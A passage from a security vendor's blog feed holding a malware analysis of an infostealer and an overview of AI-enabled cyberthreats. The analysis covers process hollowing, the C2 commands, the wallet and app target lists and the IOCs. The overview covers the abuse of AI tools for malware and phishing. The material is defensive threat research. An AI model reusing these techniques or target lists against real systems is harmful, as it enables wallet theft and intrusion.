Description</strong></p></td></tr><tr><td><p>jtokcvof.0.cs</p></td><td><p>8931AA3E73A25ECD27F30107578D52754109AB236F05713337202847098ED7E2</p></td><td><p>C# code for process hollowing</p></td></tr><tr><td><p>jtokcvof.cmdline</p></td><td><p>8631F72CEFDF50295BF956AACBC5EBDA03BC09F79ACF528EBA6FEC14BE3783E5</p></td><td><p>Command line arguments for the compilation of C# code into the dynamic library</p></td></tr><tr><td><p>jtokcvof.dll</p></td><td><p>564C3652924BAADFAE3E2941F29C5BB2E5E82037185D875201D4702C6A4CD250</p></td><td><p>Compiled version of jtokcvof.0.cs</p></td></tr><tr><td><p>jtokcvof.err</p></td><td><p>N/A</p></td><td><p>N/A</p></td></tr><tr><td><p>jtokcvof.out</p></td><td><p>237EBEDD386BA82B4DE9EEDAD92761B5819B40B0D2E67AE8581FB59F772803BB</p></td><td><p>Debug file from the compilation of C# code</p></td></tr><tr><td><p>jtokcvof.tmp</p></td><td><p>N/A</p></td><td><p>N/A</p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Table 1: Files dropped by the malware</em></span></p><p><span style='font-size: undefined;'></span></p><p position="left" class="embedded-asset" display-type="display" asset-uid="bltfb94d50bd40a64a5" content-type-uid="sys_assets" asset-link="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfb94d50bd40a64a5/685028ad793901a169462e37/FS4.png" asset-name="FS4.png" asset-type="image/png" type="asset" alt="FS4.png" asset-alt="FS4.png" inline="true" style="text-align: left;"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfb94d50bd40a64a5/685028ad793901a169462e37/FS4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="FS4.png" asset-alt="FS4.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfb94d50bd40a64a5/685028ad793901a169462e37/FS4.png" data-sys-asset-uid="bltfb94d50bd40a64a5" data-sys-asset-filename="FS4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="FS4.png" sys-style-type="display"/></p><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em> Figure 4: APIs used for the hollowing of the MSBuild.exe</em></span></p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>To bypass the obfuscation, we used x32dbg to get to the part where malware is writing the code into a suspended MSBuild.exe and dumping the payload from the memory.</span></p><p><span style='font-size: undefined;'></span></p><p position="left" class="embedded-asset" display-type="display" asset-uid="blt0117a440ede033aa" content-type-uid="sys_assets" asset-link="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0117a440ede033aa/6850415698ecf6bf5fde3044/FS6.png" asset-name="FS6.png" asset-type="image/png" type="asset" alt="FS6.png" asset-alt="FS6.png" inline="true" style="text-align: left;"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0117a440ede033aa/6850415698ecf6bf5fde3044/FS6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="FS6.png" asset-alt="FS6.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0117a440ede033aa/6850415698ecf6bf5fde3044/FS6.png" data-sys-asset-uid="blt0117a440ede033aa" data-sys-asset-filename="FS6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="FS6.png" sys-style-type="display"/></p><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 5: Decoded binary before the injection. Notice process handle to MSBuild.exe</em></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'></span></h3><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Stage 3: Analysis of the final payload</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The final payload is once again a 32-bit .NET binary with the original name </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>EepGrid.exe SHA256: 100314E441DF9F9E77648F6583DB653D89B511826460763EA7DCF32190566AB6</strong></span></span><span style='font-size: undefined;'> which contains 8 classes: </span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Connected</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Control</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Func</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Information</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Program</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Sender</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Settings</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>WalletsP</span></p></li></ul><p position="left" class="embedded-asset" display-type="display" asset-uid="blt49a5a3b520104363" content-type-uid="sys_assets" asset-link="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt49a5a3b520104363/6850415610c7c21688487906/FS5.png" asset-name="FS5.png" asset-type="image/png" type="asset" alt="FS5.png" asset-alt="FS5.png" inline="true" style="text-align: left;"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt49a5a3b520104363/6850415610c7c21688487906/FS5.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="FS5.png" asset-alt="FS5.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt49a5a3b520104363/6850415610c7c21688487906/FS5.png" data-sys-asset-uid="blt49a5a3b520104363" data-sys-asset-filename="FS5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="FS5.png" sys-style-type="display"/></p><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 6: Snippet of the function ListenForCommands, responsible for handling commands sent by C2</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To avoid running multiple times, the malware checks how many processes share its own name, and if it finds more than one it assumes it’s already active and stops execution. If the check returns zero, then the execution will jump into the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Connected</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>object, which will connect to the server over </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>TCP port 4000</strong></span></span><span style='font-size: undefined;'>. After this, </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Sender</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>object is executed, which will perform enumeration of the host using functions defined in the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Information</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>WalletsP</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>classes.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Enumerated information consists of: </span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Machine and user name</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Information about CPU and memory </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Installed AV solutions</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Version of OS (32 or 64 bit)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Current date and time</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Installed applications, mainly ones that are related to finances and crypto, such as Trading.View.exe, Exodus.exe, PhoenixMiner.exe, IPFS Desktopn.exe, and others. If there are no targeted applications installed, return value is null.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>It will then check for the existence of crypto browser wallets that are stored either in Chrome or Edge browsers, as well as desktop wallets. If they exist, a string “YES” is returned; otherwise, “NO” is returned. </span></p></li></ul><table><tbody><tr><td><p><strong>Targeted applications</strong></p></td><td><p><strong>Targeted wallets</strong></p></td></tr><tr><td><p>TradingView.exe</p></td><td><p>Metamask</p></td></tr><tr><td><p>Binance.exe</p></td><td><p>Coinbase</p></td></tr><tr><td><p>LedgerLive.exe</p></td><td><p>TrustWallet</p></td></tr><tr><td><p>Exodus.exe</p></td><td><p>Keplr</p></td></tr><tr><td><p>Bybit.exe</p></td><td><p>Phantom</p></td></tr><tr><td><p>KuCoin.exe</p></td><td><p>SolflareWallet</p></td></tr><tr><td><p>Coinigy.exe</p></td><td><p>SafePalExtensionWallet</p></td></tr><tr><td><p>NiceHashQuickMiner.exe</p></td><td><p>OKXWallet</p></td></tr><tr><td><p>NiceHashMiner.exe</p></td><td><p>BitgetWallet</p></td></tr><tr><td><p>PhoenixMiner.exe</p></td><td><p>BybitWallet</p></td></tr><tr><td><p>t-rex.exe</p></td><td><p>AuroWallet</p></td></tr><tr><td><p>teamredminer.exe</p></td><td><p>BEWlite</p></td></tr><tr><td><p>lolMiner.exe</p></td><td><p>Coin98</p></td></tr><tr><td><p>Ganache.exe</p></td><td><p>Ronin</p></td></tr><tr><td><p>ChainGuardian.exe</p></td><td><p>YoroiWallet</p></td></tr><tr><td><p>IPFSDesktop.exe</p></td><td><p>NautilusWallet</p></td></tr><tr><td><p></p></td><td><p>Tonkeeper</p></td></tr><tr><td><p></p></td><td><p>ExodusWeb3</p></td></tr><tr><td><p></p></td><td><p>Halo</p></td></tr><tr><td><p></p></td><td><p>CtrlWallet</p></td></tr><tr><td><p></p></td><td><p>TronLink</p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Table 2: Crypto Wallets and applications targeted by the stealer</em></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>After the enumeration is done, information is concatenated into a string where the values are separated by a pipe </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>|</strong></span></span><span style='font-size: undefined;'> and sent to the C2 </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>91.92.46[.]60</strong></span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once the initial data has been sent to the C2, a task </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>ListenForCommands</strong></span></span><span style='font-size: undefined;'> is executed which will process retrieved commands from the C2. Commands are separated by a pipe </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>|</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and cast into a lower case for further processing. </span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At the time of the writing of this blog, the malware could handle 4 commands: </span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>runfile</strong></span></span><span style='font-size: undefined;'> — Execute a specified file stored on a local system</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>filetransfer</strong></span></span><span style='font-size: undefined;'> — Save the file sent by C2 into C:\Windows\Temp directory and execute it via the previously mentioned </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>runfile</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>function</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>getscreenshot</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>— Send a screenshot of the infected host to C2 </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>getwallets</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>— Extract the specified crypto wallets in a ZIP archive to C2</span></p></li></ul><h2 style="direction: ltr;">Conclusion</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Although this attack initially appeared sophisticated, further analysis revealed it to be a relatively standard piece of stealer, which we have named </span><span style='font-size: undefined;'><span data-type='inlineCode'>Filch Stealer</span></span><span style='font-size: undefined;'>. From compiling DLLs directly on the infected host, to using decades-old techniques like process hollowing, and even exfiltrating data in plaintext, this stealer highlights the minimal effort invested by its author.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Despite the simplicity of the malware itself, it was still able to bypass some antivirus solutions and proceed with execution unimpeded. Until the majority of organizations treat security as a priority rather than an afterthought, attackers will have little reason to improve, because even their baseline efforts are often enough to provide a steady flow of income.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p style="direction: ltr;"><span style='font-size: undefined;'><strong>InsightIDR, Managed Detection and Response (MDR), NGAV, and Ransomware Prevention</strong></span><span style='font-size: undefined;'> customers have existing detection coverage through Rapid7's expansive library of detection rules. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to </span><span style='font-size: undefined;'><strong>Filch Stealer</strong></span><span style='font-size: undefined;'>. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We will also continue to iterate detections as new variants emerge, giving customers continuous protection without manual tuning:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CLI Obfuscation - </strong></span><span style='font-size: undefined;'>Quote Insertion, Circular Relative Pathing, Alternating Slashes</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Attacker Technique - </strong></span><span style='font-size: undefined;'>Quote Insertion in Run Utility Command</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Also available for NGAV and Ransomware Prevention customers:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Endpoint Detection - </strong></span><span style='font-size: undefined;'>A process attempted 'Process Hollowing' technique</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Endpoint Detection - </strong></span><span style='font-size: undefined;'>PowerShell Reflective Execution</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Endpoint Detection - </strong></span><span style='font-size: undefined;'>PowerShell Downloaded and Executed Reflectively</span></p></li></ul><h2 style="direction: ltr;">Indicators of compromise (IOCs)</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>File indicators</span></h3><table><tbody><tr><td><p>LixPay.url</p></td><td><p>80121F864130538879E34EFFEC35E6B5E30FC9F04A9A57C58154CA87DDBA033C</p></td></tr><tr><td><p>LixPay.bat</p></td><td><p>09953B74161F62DE262BD258873E6749F75F6C8D306291BF94C5EE439478C017</p></td></tr><tr><td><p>stub.exe</p></td><td><p>FA0B8A4DDB0BAC8F532CA5E5CF462564D7ED3B23A90617DD3D6FBAD9D420E921</p></td></tr><tr><td><p>jtokcvof.0.cs</p></td><td><p>8931AA3E73A25ECD27F30107578D52754109AB236F05713337202847098ED7E2</p></td></tr><tr><td><p>jtokcvof.cmdline</p></td><td><p>8631F72CEFDF50295BF956AACBC5EBDA03BC09F79ACF528EBA6FEC14BE3783E5</p></td></tr><tr><td><p>jtokcvof.dll</p></td><td><p>564C3652924BAADFAE3E2941F29C5BB2E5E82037185D875201D4702C6A4CD250</p></td></tr><tr><td><p>jtokcvof.out</p></td><td><p>237EBEDD386BA82B4DE9EEDAD92761B5819B40B0D2E67AE8581FB59F772803BB</p></td></tr><tr><td><p>jtokcvof.err</p></td><td><p>N/A</p></td></tr><tr><td><p>jtokcvof.tmp</p></td><td><p>N/A</p></td></tr><tr><td><p>EepGrid.exe</p></td><td><p>100314E441DF9F9E77648F6583DB653D89B511826460763EA7DCF32190566AB6</p></td></tr></tbody></table><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Network indicators</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>91.92.46[.]60:4000</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>cmb8k1nbj000008l1api07o0n[.]info</span></p><h2 style="direction: ltr;">MITRE TTPs</h2><table><tbody><tr><td><p><strong>ATT&CK ID</strong></p></td><td><p><strong>Name</strong></p></td></tr><tr><td><p>T1059.001</p></td><td><p>Command and Scripting Interpreter: PowerShell</p></td></tr><tr><td><p>T1027.010</p></td><td><p>Obfuscated Files or Information: Command Obfuscation</p></td></tr><tr><td><p>T1562.001</p></td><td><p>Impair Defenses: Disable or Modify Tools</p></td></tr><tr><td><p>T1547.001</p></td><td><p>Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</p></td></tr><tr><td><p>T1620</p></td><td><p>Reflective Code Loading</p></td></tr><tr><td><p>T1218.005</p></td><td><p>Signed Binary Proxy Execution</p></td></tr><tr><td><p>T1055.012</p></td><td><p>Process Injection: Process Hollowing</p></td></tr><tr><td><p>T1082</p></td><td><p>System Information Discovery</p></td></tr><tr><td><p>T1033</p></td><td><p>System Owner/User Discovery</p></td></tr><tr><td><p>T1518</p></td><td><p>Software Discovery</p></td></tr><tr><td><p>T1518.001</p></td><td><p>Security Software Discovery</p></td></tr><tr><td><p>T1113</p></td><td><p>Screen Capture</p></td></tr><tr><td><p>T1555</p></td><td><p>Credentials from Password Stores</p></td></tr><tr><td><p>T1005</p></td><td><p>Data from Local System</p></td></tr><tr><td><p>T1041</p></td><td><p>Exfiltration Over C2 Channel</p></td></tr></tbody></table>]]></description>
      <link>https://www.rapid7.com/blog/post/filch-stealer-a-new-infostealer-leveraging-old-techniques</link>
      <guid isPermaLink="false">bltaf3ac5c1826c5921</guid>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Ivan Feigl]]></dc:creator>
      <pubDate>Thu, 31 Jul 2025 16:41:47 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbba970140f061163/68502b10260f539c35615633/GettyImages-2206296763.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Emerging Trends in AI-Related Cyberthreats in 2025: Impacts on Organizational Cybersecurity]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>In 2025, AI-driven cyberthreats have evolved significantly, posing new challenges for cybersecurity professionals. Organizations face a dynamic and evolving threat landscape, from deepfake impersonations to the development of highly sophisticated malware capable of adapting in real time to security protocols, making detection more difficult. Additionally, large language models (LLMs) are being exploited to automate large-scale social engineering attacks, enabling more convincing scams across email, messaging apps, and even virtual assistants. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As AI becomes more accessible, cybercrime-as-a-service platforms are emerging, allowing even non-experts to launch complex attacks using rented AI tools. The use of AI tools by cybercriminals and state-sponsored groups further increases the risk of cyberattacks against public and private organizations across all sectors. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the coming years, cyber threats will likely be profoundly influenced by malicious actors' increasing use of AI-powered tools. As AI’s capabilities continue to advance, malicious actors are expected to leverage them to automate and improve their attack patterns, making them faster, more sophisticated, and harder to detect.</span></p><h2><span style='color:rgb(67, 67, 67);'>Deepfake impersonations: The new face of fraud</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Deepfake technology has matured to the point where audio and video forgeries are nearly indistinguishable from authentic recordings. If a deepfake relies on AI, machine learning is a key element in its creation. Convolutional neural networks (CNNs) are a subset of powerful AI modeled in part on the human mind; they are capable of detecting trends in information and can be used for image and speech recognition.  While one may think creating a deepfake requires complex tools and technical skills, this is not the case. They can also be made with basic knowledge of computer graphics, which can help to democratize the use of deepfakes. For example, a deepfake video can be created in just two steps. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>First, a large amount of actual video footage must be fed into to a deep neural network, which is gradually trained to recognize a person's rhythms and detailed characteristics. The number of videos or visual data needed to create a realistic deepfake depends on several factors, including image and audio quality, lighting conditions, viewing angle, facial expressions, and the complexity of the deepfake model used. This gives the algorithm a realistic representation of an individual's appearance from different perspectives. Second, the system combines the learning algorithm with facial and vocal models generated from the neural network input. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Cybercriminals have successfully leveraged artificial intelligence, using deepfakes to impersonate executives, deceive employees, and execute fraudulent transactions. Deepfake services for identity theft are now available on the dark web, including underground forums and Telegram channels. These services include real-time face and voice replacement for recorded or live video/audio messages, often used to bypass Know Your Customer (KYC) verifications.</span></p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8563dffea361eeae/68595271f324bd281637c6e2/AI1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="AI1.png" asset-alt="AI1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8563dffea361eeae/68595271f324bd281637c6e2/AI1.png" data-sys-asset-uid="blt8563dffea361eeae" data-sys-asset-filename="AI1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="AI1.png" sys-style-type="display"/></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7999dcee4c1b6f6/68595271b50962a0da563aae/AI2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="AI2.png" asset-alt="AI2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7999dcee4c1b6f6/68595271b50962a0da563aae/AI2.png" data-sys-asset-uid="bltd7999dcee4c1b6f6" data-sys-asset-filename="AI2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="AI2.png" sys-style-type="display"/></p><h2><span style='color:rgb(67, 67, 67);'>AI-powered malware: Smarter, faster, deadlier</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>AI is also revolutionizing malware development, enabling the creation of adaptive and evasive threats, such as </span><a href="https://www.rapid7.com/blog/post/2023/11/08/ghostlocker-a-work-in-progress-raas/"><span style='font-size: undefined;'>polymorphic malware</span></a><span style='font-size: undefined;'>, which automatically modifies its code to evade detection, reducing the effectiveness of traditional signature-based antivirus solutions. Tools like Nytheon AI and WormGPT offer real-time capabilities that require no coding skills, enabling users to generate malware, counterfeit documents, and phishing campaigns. These platforms, accessible on the dark web, often feature multilingual, voice-enabled interfaces.</span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt74c9ab7f1297eb94/68595271fee64857a87d8cb3/AI3.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="AI3.png" asset-alt="AI3.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt74c9ab7f1297eb94/68595271fee64857a87d8cb3/AI3.png" data-sys-asset-uid="blt74c9ab7f1297eb94" data-sys-asset-filename="AI3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="AI3.png" sys-style-type="display"/></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5ed8c063790436f5/6859527123dac17597d0e98b/AI4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="AI4.png" asset-alt="AI4.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5ed8c063790436f5/6859527123dac17597d0e98b/AI4.png" data-sys-asset-uid="blt5ed8c063790436f5" data-sys-asset-filename="AI4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="AI4.png" sys-style-type="display"/></p><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>It's becoming easier for cybercriminals to develop ransomware using AI-powered tools. Generative AI models can assist even those with limited coding skills by providing step-by-step instructions, generating malicious code snippets, and suggesting ways to evade detection.</span></p><p><span style='font-size: undefined;'></span></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6d44e5f8bd5996fb/6859527120f44b9f9b751a85/AI5.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="AI5.png" asset-alt="AI5.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6d44e5f8bd5996fb/6859527120f44b9f9b751a85/AI5.png" data-sys-asset-uid="blt6d44e5f8bd5996fb" data-sys-asset-filename="AI5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="AI5.png" sys-style-type="display"/></p><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Moreover, generative AI also enables cybercriminals, with services like FraudGPT, to create highly personalized Business Email Compromise (BEC) emails and scam pages, increasing their perceived validity to positively influence the success rate of social engineering attacks.</span></p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt100c80b9c1cd86e5/68595272f324bdebf037c6e6/AI6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="AI6.png" asset-alt="AI6.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt100c80b9c1cd86e5/68595272f324bdebf037c6e6/AI6.png" data-sys-asset-uid="blt100c80b9c1cd86e5" data-sys-asset-filename="AI6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="AI6.png" sys-style-type="display"/></p><h2><span style='color:rgb(67, 67, 67);'><strong>Emerging threats: AI in the hands of cybercrime and state-sponsored groups</strong></span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Cybercrime groups and state-sponsored actors increasingly leverage artificial intelligence to enhance their cyber capabilities, marking a significant evolution in the threat landscape. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>One prominent example is the deployment of AI in ransomware campaigns. Some criminal groups like FunkSec and RansomHub have or are suspected of using AI-powered tools in their offensive operations. These groups are enhancing the sophistication, speed, and success of their attacks. A primary use of AI in this context is the automation of target reconnaissance. By employing AI-driven data mining and machine learning models, threat actors can efficiently scan and analyze vast amounts of publicly available data to identify vulnerable systems, valuable targets, and entry points.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Additionally, natural language processing (NLP)  can be used to craft compelling </span><a href="/fundamentals/phishing-attacks/" target="_self"><span style='font-size: undefined;'>phishing</span></a><span style='font-size: undefined;'> emails or </span><a href="/fundamentals/social-engineering/" target="_self"><span style='font-size: undefined;'>social engineering</span></a><span style='font-size: undefined;'> messages tailored to a target’s online behavior or organizational role. AI can also optimize the timing of ransomware deployment for maximum impact, such as during off-hours or system downtimes. This strategic integration of AI reduces the need for manual effort. These capabilities significantly increase the likelihood of successful ransom payments, making AI a formidable new dimension in the evolving ransomware threat landscape.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Threat actors continue to integrate AI tools into cyberattack campaigns to improve their effectiveness, stealth, and adaptability. Some </span><a href="/fundamentals/advanced-persistent-threat-apt/" target="_self"><span style='font-size: undefined;'>APT</span></a><span style='font-size: undefined;'>, cybercrime, and hacktivist groups, such as SweetSpecter, CyberAv3ngers, and Lazarus, leverage AI for </span><a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/ai-in-apt-attacks/"><span style='font-size: undefined;'>automated reconnaissance</span></a><span style='font-size: undefined;'>, allowing them to scan targets, identify vulnerabilities, and deploy malware. Machine learning models are used to craft convincing spear-phishing messages by analyzing targets' linguistic patterns and online behaviors, increasing the likelihood of successful social engineering. AI-driven malware can adapt its behavior in real time to evade traditional detection systems, such as antivirus software and intrusion detection systems. As AI evolves, their integration into APT operations poses a growing challenge for defenders in maintaining situational awareness and implementing effective countermeasures.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>State-sponsored actors are also using AI for strategic, long-term operations. The Chinese-affiliated group APT31 has been reported to use AI-driven facial recognition and surveillance tools in tandem with cyber operations for domestic and international espionage. Russian-linked APT28 has experimented with AI-generated deepfakes to create realistic video content for disinformation campaigns. These AI-enhanced capabilities enable the manipulation of public perception and psychological operations, often with plausible deniability.</span></p><h2><span style='color:rgb(67, 67, 67);'>Implications for organizational cybersecurity</span></h2><p>The growing use of AI-powered tools by cybercriminals and APT groups can significantly affect organizations' cybersecurity. These threat actors can now automate and deploy sophisticated attacks with greater precision, speed, and stealth. AI enables them to craft more compelling phishing campaigns, bypass traditional detection systems with adaptive malware, and exploit vulnerabilities with unprecedented efficiency. </p><p>To respond, organizations must evolve their cybersecurity strategies. This includes integrating AI into defense systems, enhancing employee awareness, and prioritizing real-time threat intelligence and anomaly detection. Ultimately, the AI ​​arms race between attackers and defenders significantly raises the stakes, forcing organizations to evolve their cybersecurity strategies to stay ahead continuously.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/emerging-trends-in-ai-related-cyberthreats-in-2025-impacts-on-organizational-cybersecurity</link>
      <guid isPermaLink="false">blt59284ba7ff717f12</guid>
      <category><![CDATA[Artificial Intelligence]]></category>
      <category><![CDATA[Phishing]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Jeremy Makowski]]></dc:creator>
      <pubDate>Thu, 31 Jul 2025 16:41:44 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted8cb9466d79dc4d/6852c596a274324cfbb23d9d/PSN-gov-showcase-hero-image.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict]]></title>
